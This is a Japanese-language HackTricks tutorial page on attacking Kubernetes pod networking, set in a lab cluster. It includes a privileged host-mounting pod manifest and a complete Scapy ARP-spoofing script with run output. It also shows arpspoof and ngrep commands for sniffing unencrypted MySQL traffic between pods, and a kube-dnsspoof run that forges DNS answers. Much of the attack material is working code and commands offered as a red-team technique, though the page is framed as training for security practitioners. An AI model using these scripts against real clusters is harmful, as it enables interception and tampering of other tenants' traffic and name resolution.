Kubernetes Network Attacks
Reading time: 14 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Introduction
Kubernetesでは、デフォルトの動作により、同じノードに存在するすべてのコンテナ間で接続が確立されることが許可されています。これは、名前空間の区別に関係なく適用されます。このような接続は、Layer 2(イーサネット)まで拡張されます。したがって、この構成はシステムを脆弱性にさらす可能性があります。具体的には、悪意のあるコンテナが同じノードにある他のコンテナに対してARPスプーフィング攻撃を実行する可能性を開きます。この攻撃中、悪意のあるコンテナは、他のコンテナ向けのネットワークトラフィックを欺いて傍受または変更することができます。
ARPスプーフィング攻撃は、攻撃者がローカルエリアネットワーク上で偽のARP(アドレス解決プロトコル)メッセージを送信することを含みます。これにより、攻撃者のMACアドレスがネットワーク上の正当なコンピュータまたはサーバーのIPアドレスにリンクされます。このような攻撃が成功裏に実行された後、攻撃者はデータを傍受、変更、または停止することができます。この攻撃はOSIモデルのLayer 2で実行されるため、Kubernetesにおけるこのレイヤーでのデフォルトの接続性はセキュリティ上の懸念を引き起こします。
シナリオでは、4台のマシンが作成されます:
- ubuntu-pe: ノードにエスケープしてメトリクスを確認するための特権マシン(攻撃には必要ありません)
- ubuntu-attack: 悪意のあるコンテナ(デフォルトの名前空間内)
- ubuntu-victim: 被害者マシン(kube-system名前空間内)
- mysql: 被害者マシン(デフォルトの名前空間内)
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
基本的なKubernetesネットワーキング
ここで紹介されているネットワーキングのトピックについての詳細は、リファレンスを参照してください。
ARP
一般的に言えば、ノード内のポッド間ネットワーキングは、すべてのポッドを接続するブリッジを介して利用可能です。このブリッジは「cbr0」と呼ばれます。(一部のネットワークプラグインは独自のブリッジをインストールします。)cbr0はARP(アドレス解決プロトコル)解決も処理できます。cbr0に到着した受信パケットは、ARPを使用して宛先MACアドレスを解決できます。
この事実は、デフォルトでは、同じノードで実行されているすべてのポッドが、同じノード内の他のポッド(名前空間に関係なく)とイーサネットレベル(レイヤー2)で通信できることを意味します。
warning
したがって、同じノード内のポッド間でARPスプーフィング攻撃を実行することが可能です。
DNS
Kubernetes環境では、通常、kube-system名前空間で1つ(またはそれ以上)のDNSサービスが実行されているのを見つけることができます:
kubectl -n kube-system describe services
Name: kube-dns
Namespace: kube-system
Labels: k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations: prometheus.io/port: 9153
prometheus.io/scrape: true
Selector: k8s-app=kube-dns
Type: ClusterIP
IP Families: <none>
IP: 10.96.0.10
IPs: 10.96.0.10
Port: dns 53/UDP
TargetPort: 53/UDP
Endpoints: 172.17.0.2:53
Port: dns-tcp 53/TCP
TargetPort: 53/TCP
Endpoints: 172.17.0.2:53
Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
前の情報には興味深いことが見られます。サービスのIPは10.96.0.10ですが、サービスを実行しているポッドのIPは172.17.0.2です。
任意のポッド内でDNSアドレスを確認すると、次のようなものが見つかります:
cat /etc/resolv.conf
nameserver 10.96.0.10
しかし、ポッドはそのアドレスに到達する方法を知らないため、この場合のポッド範囲は172.17.0.10/26です。
したがって、ポッドはアドレス10.96.0.10にDNSリクエストを送信し、cbr0によって172.17.0.2に変換されます。
warning
これは、ポッドのDNSリクエストが常にブリッジに行き、サービスIPをエンドポイントIPに変換することを意味します。たとえDNSサーバーがポッドと同じサブネットワークにあってもです。
これを知っており、ARP攻撃が可能であることを知っている場合、ノード内のポッドはサブネットワーク内の各ポッドとブリッジ間のトラフィックを傍受し、DNSサーバーからのDNSレスポンスを変更することができます(DNSスプーフィング)。
さらに、DNSサーバーが攻撃者と同じノードにある場合、攻撃者はクラスター内の任意のポッドのすべてのDNSリクエストを傍受し(DNSサーバーとブリッジの間)、レスポンスを変更することができます。
同じノード内のポッドにおけるARPスプーフィング
私たちの目標は、ubuntu-victimからmysqlへの通信を少なくとも盗むことです。
Scapy
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses
# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0
# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
ARPSpoof
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
DNS Spoofing
既に述べたように、もしあなたがDNSサーバーポッドと同じノードのポッドを侵害した場合、ARPSpoofingを使用してブリッジとDNSポッドをMitMし、すべてのDNSレスポンスを変更することができます。
あなたには、これをテストするための素晴らしいツールとチュートリアルがあります:https://github.com/danielsagi/kube-dnsspoof/
私たちのシナリオでは、攻撃者ポッドにツールをダウンロードし、スプーフィングしたいドメインを含む**hosts
という名前のファイルを作成**します。
cat hosts
google.com. 1.1.1.1
ubuntu-victimマシンに対して攻撃を実行します:
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge: 172.17.0.1 02:42:bd:63:07:8d
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com. 1 IN A 1.1.1.1
note
自分のDNSスプーフィングスクリプトを作成しようとする場合、DNS応答を変更するだけでは、機能しません。なぜなら、応答には悪意のある****ポッドのsrc IPが含まれ、受け入れられないからです。
被害者がDNSリクエストを送信するDNSのsrc IPを持つ新しいDNSパケットを生成する必要があります(これは172.16.0.2のようなもので、10.96.0.10ではありません。これはK8s DNSサービスのIPであり、DNSサーバーのIPではありません。詳細はイントロダクションで説明します)。
coreDNS configmapを介したDNSスプーフィング
kube-system名前空間のconfigmap coredns
に対する書き込み権限を持つユーザーは、クラスターのDNS応答を変更できます。
この攻撃に関する詳細情報は以下を確認してください:
{{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}}
公開されたKubernetes管理サービスの悪用
Apache NiFi、Kubeflow、Argo Workflows、Weave Scope、Kubernetesダッシュボードなどのサービスは、インターネットまたはKubernetesネットワーク内に公開されていることがよくあります。Kubernetesを管理するために使用されるプラットフォームを見つけてアクセスできた攻撃者は、それを悪用してKubernetes APIにアクセスし、新しいポッドを作成したり、既存のポッドを変更したり、さらには削除したりすることができます。
Kubernetesネットワークポリシーの列挙
構成されたnetworkpoliciesを取得します:
kubectl get networkpolicies --all-namespaces
Callico ネットワークポリシーを取得する:
kubectl get globalnetworkpolicy --all-namespaces
Cillium ネットワークポリシーを取得する:
kubectl get ciliumnetworkpolicy --all-namespaces
ネットワークプラグインやセキュリティソリューションによってインストールされた他のポリシー関連のCRDを取得します:
kubectl get crd | grep -i policy
トラフィックのキャプチャ
ツール Mizu は、Kubernetes 用のシンプルでありながら強力な API トラフィックビューワーで、マイクロサービス間のすべての API 通信を 表示し、デバッグや回帰のトラブルシューティングを支援します。
選択したポッドにエージェントをインストールし、トラフィック情報を収集してウェブサーバーに表示します。ただし、これには高い K8s 権限が必要で(あまりステルスではありません)。
参考文献
- https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1
- https://blog.aquasec.com/dns-spoofing-kubernetes-clusters
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。